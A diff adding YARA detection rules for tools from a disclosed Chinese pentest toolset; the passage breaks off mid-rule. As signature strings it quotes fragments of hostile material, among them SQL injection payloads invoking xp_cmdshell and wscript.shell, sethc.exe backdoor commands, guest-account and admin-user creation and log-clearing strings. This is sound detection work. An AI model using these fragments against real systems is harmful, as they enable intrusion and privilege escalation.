+rule CN_Honker_PostgreSQL {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file PostgreSQL.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1ecfaa91aae579cfccb8b7a8607176c82ec726f4"
+	strings:
+		$s1 = "&http://192.168.16.186/details.php?id=1" fullword ascii
+		$s2 = "PostgreSQL_inject" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule CN_Honker_WebRobot {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file WebRobot.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "af054994c911b4301490344fca4bb19a9f394a8f"
+	strings:
+		$s1 = "%d-%02d-%02d %02d^%02d^%02d ScanReprot.htm" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\log\\ProgramDataFile.dat" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\data\\FilterKeyword.txt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule CN_Honker_Baidu_Extractor_Ver1_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Baidu_Extractor_Ver1.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1899f979360e96245d31082e7e96ccedbdbe1413"
+	strings:
+		$s3 = "\\Users\\Admin" fullword wide /* PEStudio Blacklist: strings */
+		$s11 = "soso.com" fullword wide
+		$s12 = "baidu.com" fullword wide
+		$s19 = "cmd /c ping " fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+rule CN_Honker_FTP_scanning {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file FTP_scanning.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5a3543ee5aed110c87cbc3973686e785bcb5c44e"
+	strings:
+		$s1 = "CNotSupportedE" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "nINet.dll" fullword ascii
+		$s9 = "?=MODULE" fullword ascii /* PEStudio Blacklist: strings */
+		$s13 = "MSIE 6*" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 550KB and all of them
+}
+
+rule CN_Honker_dirdown_dirdown {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file dirdown.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7b8d51c72841532dded5fec7e7b0005855b8a051"
+	strings:
+		$s0 = "\\Decompress\\obj\\Release\\Decompress.pdb" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "Decompress.exe" fullword wide
+		$s5 = "Get8Bytes" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 45KB and all of them
+}
+
+rule CN_Honker_Xiaokui_conversion_tool {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Xiaokui_conversion_tool.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "dccd163e94a774b01f90c1e79f186894e2f27de3"
+	strings:
+		$s1 = "update [dv_user] set usergroupid=1 where userid=2;--" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "To.exe" fullword wide
+		$s3 = "by zj1244" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and 2 of them
+}
+
+rule CN_Honker_GroupPolicyRemover {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GroupPolicyRemover.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7475d694e189b35899a2baa462957ac3687513e5"
+	strings:
+		$s0 = "GP_killer.EXE" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "GP_killer Microsoft " fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "SHDeleteKeyA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 79 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule CN_Honker_WordpressScanner {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file WordpressScanner.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0b3c5015ba3616cbc616fc9ba805fea73e98bc83"
+	strings:
+		$s0 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+		$s1 = "(http://www.eyuyan.com)" fullword wide
+		$s2 = "GetConnectString" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule CN_Honker_Htran_V2_40_htran20 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file htran20.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b992bf5b04d362ed3757e90e57bc5d6b2a04e65c"
+	strings:
+		$s1 = "%s -slave  ConnectHost ConnectPort TransmitHost TransmitPort" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "[SERVER]connection to %s:%d error" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "%s -connect ConnectHost [ConnectPort]       Default:%d" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "[+] got, ip:%s, port:%d" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "[-] There is a error...Create a new connection." fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_DictionaryGenerator {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file DictionaryGenerator.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b3071c64953e97eeb2ca6796fab302d8a77d27bc"
+	strings:
+		$s1 = "`PasswordBuilder" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "cracker" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3650KB and all of them
+}
+
+rule CN_Honker_ms11080_withcmd {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms11080_withcmd.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "745e5058acff27b09cfd6169caf6e45097881a49"
+	strings:
+		$s1 = "Usage : ms11-080.exe cmd.exe Command " fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "[>] create pipe error" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 340KB and all of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v2.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a995451d9108687b8892ad630a79660a021d670a"
+	strings:
+		$s1 = "LOADER ERROR" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "2011-2012 T00LS&RICES" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule CN_Honker_HASH_32 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file 32.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "bf4a8b4b3e906e385feab5ea768f604f64ba84ea"
+	strings:
+		$s5 = "[Undefined OS version]  Major: %d Minor: %d" fullword ascii
+		$s8 = "Try To Run As Administrator ..." fullword ascii /* PEStudio Blacklist: strings */
+		$s9 = "Specific LUID NOT found" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and all of them
+}
+
+rule CN_Honker_windows_mstsc_enhanced_RMDSTC {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file RMDSTC.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3ca2b1b6f31219baf172abcc8f00f07f560e465f"
+	strings:
+		$s0 = "zava zir5@163.com" fullword wide
+		$s1 = "By newccc" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule CN_Honker_sig_3389_mstsc_MSTSCAX {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file MSTSCAX.DLL"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2fa006158b2d87b08f1778f032ab1b8e139e02c6"
+	strings:
+		$s1 = "ResetPasswordWWWx" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Terminal Server Redirected Printer Doc" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "Cleaning temp directory" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule CN_Honker_T00ls_scanner {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file T00ls_scanner.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "70b04b910d82b32b90cd7f355a0e3e17dd260cb3"
+	strings:
+		$s0 = "http://cn.bing.com/search?first=1&count=50&q=ip:" fullword wide
+		$s17 = "Team:www.t00ls.net" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 330KB and all of them
+}
+
+rule CN_Honker_GetHashes {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetHashes.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "dc8bcebf565ffffda0df24a77e28af681227b7fe"
+	strings:
+		$s0 = "SAM\\Domains\\Account\\Users\\Names registry hive reading error!" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "GetHashes <SAM registry file> [System key file]" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Note: Windows registry file shall begin from 'regf' signature!" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 87KB and 2 of them
+}
+
+rule CN_Honker_hashq_Hashq {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Hashq.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7518b647db5275e8a9e0bf4deda3d853cc9d5661"
+	strings:
+		$s1 = "Hashq.exe" fullword wide
+		$s5 = "CnCert.Net" fullword wide
+		$s6 = "Md5 query tool" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule CN_Honker_ShiftBackdoor_Server {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Server.dat"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b24d761c6bbf216792c4833890460e8b37d86b37"
+	strings:
+		$s0 = "del /q /f %systemroot%system32sethc.exe" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "cacls %s /t /c /e /r administrators" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\dllcache\\sethc.exe" fullword ascii
+		$s3 = "\\ntvdm.exe" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule CN_Honker_exp_win2003 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file win2003.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "47164c8efe65d7d924753fadf6cdfb897a1c03db"
+	strings:
+		$s1 = "Usage:system_exp.exe \"cmd\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "The shell \"cmd\" success!" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Not Windows NT family OS." fullword ascii /* PEStudio Blacklist: os */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule CN_Honker_Interception3389_setup {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file setup.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f5b2f86f8e7cdc00aa1cb1b04bc3d278eb17bf5c"
+	strings:
+		$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\%s" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "%s\\temp\\temp%d.bat" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "EventStartShell" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "del /f /q \"%s\"" fullword ascii
+		$s7 = "\\wminotify.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule CN_Honker_CnCerT_CCdoor_CMD_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CnCerT.CCdoor.CMD.dll2"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7f3a6fb30845bf366e14fa21f7e05d71baa1215a"
+	strings:
+		$s0 = "cmd.dll" fullword wide
+		$s1 = "cmdpath" fullword ascii
+		$s2 = "Get4Bytes" fullword ascii
+		$s3 = "ExcuteCmd" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 22KB and all of them
+}
+
+rule CN_Honker_exp_ms11046 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms11046.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f8414a374011fd239a6c6d9c6ca5851cd8936409"
+	strings:
+		$s0 = "[*] Token system command" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "[*] command add user 90sec 90sec" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "[*] Add to Administrators success" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Program: %s%s%s%s%s%s%s%s%s%s%s" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 3 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule CN_Honker_Master_beta_1_7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Master_beta_1.7.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3be7a370791f29be89acccf3f2608fd165e8059e"
+	strings:
+		$s1 = "http://seo.chinaz.com/?host=" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Location: getpass.asp?info=" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 312KB and all of them
+}
+
+rule CN_Honker_F4ck_Team_f4ck_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file f4ck_2.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0783661077312753802bd64bf5d35c4666ad0a82"
+	strings:
+		$s1 = "F4ck.exe" fullword wide
+		$s2 = "@Netapi32.dll" fullword ascii
+		$s3 = "Team.F4ck.Net" fullword wide
+		$s8 = "Administrators" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 14 times */
+		$s9 = "F4ck Team" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and 2 of them
+}
+
+rule CN_Honker_sig_3389_80_AntiFW {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file AntiFW.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5fbc75900e48f83d0e3592ea9fa4b70da72ccaa3"
+	strings:
+		$s1 = "Set TS to port:80 Successfully!" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Now,set TS to port 80" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "echo. >>amethyst.reg" fullword ascii
+		$s4 = "del amethyst.reg" fullword ascii
+		$s5 = "AntiFW.cpp" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_wwwscan_gui {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file wwwscan_gui.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "897b66a34c58621190cb88e9b2a2a90bf9b71a53"
+	strings:
+		$s1 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "/eye2007Admin_login.aspx" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 280KB and all of them
+}
+
+rule CN_Honker_SwordCollEdition {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SwordCollEdition.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "6e14f21cac6e2aa7535e45d81e8d1f6913fd6e8b"
+	strings:
+		$s0 = "YuJianScan.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "YuJianScan" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 225KB and all of them
+}
+
+rule CN_Honker_HconSTFportable {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file HconSTFportable.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "00253a00eadb3ec21a06911a3d92728bbbe80c09"
+	strings:
+		$s1 = "HconSTFportable.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "www.Hcon.in" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 354KB and all of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v3_LPK {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cf2549bbbbdb7aaf232d9783873667e35c8d96c1"
+	strings:
+		$s1 = "FreeHostKillexe.exe" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\sethc.exe /G everyone:F" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "c:\\1.exe" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Set user Group Error! Username:" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule CN_Honker_Without_a_trace_Wywz {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Wywz.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f443c43fde643228ee95def5c8ed3171f16daad8"
+	strings:
+		$s1 = "\\Symantec\\Norton Personal Firewall\\Log\\Content.log" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "UpdateFile=d:\\tool\\config.ini,Option\\\\proxyIp=127.0.0.1\\r\\nproxyPort=808" ascii /* PEStudio Blacklist: strings */
+		$s3 = "%s\\subinacl.exe /subkeyreg \"%s\" /Grant=%s=f /Grant=everyone=f" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1800KB and all of them
+}
+
+rule CN_Honker_LPK2_0_LPK {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5a1226e73daba516c889328f295e728f07fdf1c3"
+	strings:
+		$s1 = "\\sethc.exe /G everyone:F" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "net1 user guest guest123!@#" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\dllcache\\sethc.exe" fullword ascii
+		$s4 = "sathc.exe 211" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1030KB and all of them
+}
+
+rule CN_Honker_cleaniis {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file cleaniis.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "372bc64c842f6ff0d9a1aa2a2a44659d8b88cb40"
+	strings:
+		$s1 = "iisantidote <logfile dir> <ip or string to hide>" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "IIS log file cleaner by Scurt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_arp3_7_arp3_7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file arp3.7.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "db641a9dfec103b98548ac7f6ca474715040f25c"
+	strings:
+		$s1 = "CnCerT.Net.SKiller.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "www.80sec.com" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4000KB and all of them
+}
+
+rule CN_Honker_exp_ms11080 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms11080.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f0854c49eddf807f3a7381d3b20f9af4a3024e9f"
+	strings:
+		$s2 = "[*] command add user 90sec 90sec" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "[*] Add to Administrators success" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 840KB and all of them
+}
+
+rule CN_Honker_Injection_transit {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Injection_transit.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f4fef2e3d310494a3c3962a49c7c5a9ea072b2ea"
+	strings:
+		$s0 = "<description>Your app description here</description> " fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Copyright (C) 2003 ZYDSoft Corp." fullword wide /* PEStudio Blacklist: os */
+		$s5 = "ScriptnackgBun" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3175KB and all of them
+}
+
+rule CN_Honker_Safe3WVS {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Safe3WVS.EXE"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fee3acacc763dc55df1373709a666d94c9364a7f"
+	strings:
+		$s0 = "2TerminateProcess" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "mscoreei.dll" fullword ascii /* reversed goodware string 'lld.ieerocsm' */
+		$s7 = "SafeVS.exe" fullword wide
+		$s8 = "www.safe3.com.cn" fullword wide
+		$s20 = "SOFTWARE\\Classes\\Interface\\" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Honker_NBSI_3_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file NBSI 3.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "93bf0f64bec926e9aa2caf4c28df9af27ec0e104"
+	strings:
+		$s1 = ";use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamet" wide /* PEStudio Blacklist: strings */
+		$s2 = "http://localhost/1.asp?id=16" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = " exec master.dbo.xp_cmdshell @Z--" fullword wide /* PEStudio Blacklist: strings */
+		$s4 = ";use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamet" wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2600KB and 2 of them
+}
+
+rule CN_Honker_sig_3389_DUBrute_v3_0_RC3_2_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file 2.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e8ee982421ccff96121ffd24a3d84e3079f3750f"
+	strings:
+		$s0 = "IP - %d; Login - %d; Password - %d; Combination - %d" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Create %d IP@Loginl;Password" fullword ascii /* PEStudio Blacklist: strings */
+		$s15 = "UBrute.com" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 980KB and 2 of them
+}
+
+rule CN_Honker_hkmjjiis6 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file hkmjjiis6.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4cbc6344c6712fa819683a4bd7b53f78ea4047d7"
+	strings:
+		$s14 = "* FROM IIsWebInfo/r" fullword ascii
+		$s19 = "ltithread4ck/" fullword ascii
+		$s20 = "LookupAcc=Sid#" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 175KB and all of them
+}
+
+rule CN_Honker_clearlogs {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file clearlogs.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "490f3bc318f415685d7e32176088001679b0da1b"
+	strings:
+		$s2 = "- http://ntsecurity.nu/toolbox/clearlogs/" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Error: Unable to clear log - " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 140KB and all of them
+}
+
+rule CN_Honker_no_net_priv_esc_AddUser {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file AddUser.dll"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4c95046be6ae40aee69a433e9a47f824598db2d4"
+	strings:
+		$s0 = "PECompact2" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "adduser" fullword ascii
+		$s5 = "OagaBoxA" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 115KB and all of them
+}
+
+rule CN_Honker_Injection {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Injection.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3484ed16e6f9e0d603cbc5cb44e46b8b7e775d35"
+	strings:
+		$s0 = "http://127.0.0.1/6kbbs/bank.asp" fullword ascii /* PEStudio Blacklist: strings */
+		$s7 = "jmPost.asp" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and all of them
+}
+
+rule CN_Honker_SQLServer_inject_Creaked {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SQLServer_inject_Creaked.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "af3c41756ec8768483a4cf59b2e639994426e2c2"
+	strings:
+		$s1 = "http://localhost/index.asp?id=2" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Email:zhaoxypass@yahoo.com.cn<br>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 8110KB and all of them
+}
+
+rule CN_Honker_WebScan_WebScan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file WebScan.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a0b0e2422e0e9edb1aed6abb5d2e3d156b7c8204"
+	strings:
+		$s1 = "wwwscan.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "WWWScan Gui" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule CN_Honker_GetHashes_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetHashes.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "35ae9ccba8d607d8c19a065cf553070c54b091d8"
+	strings:
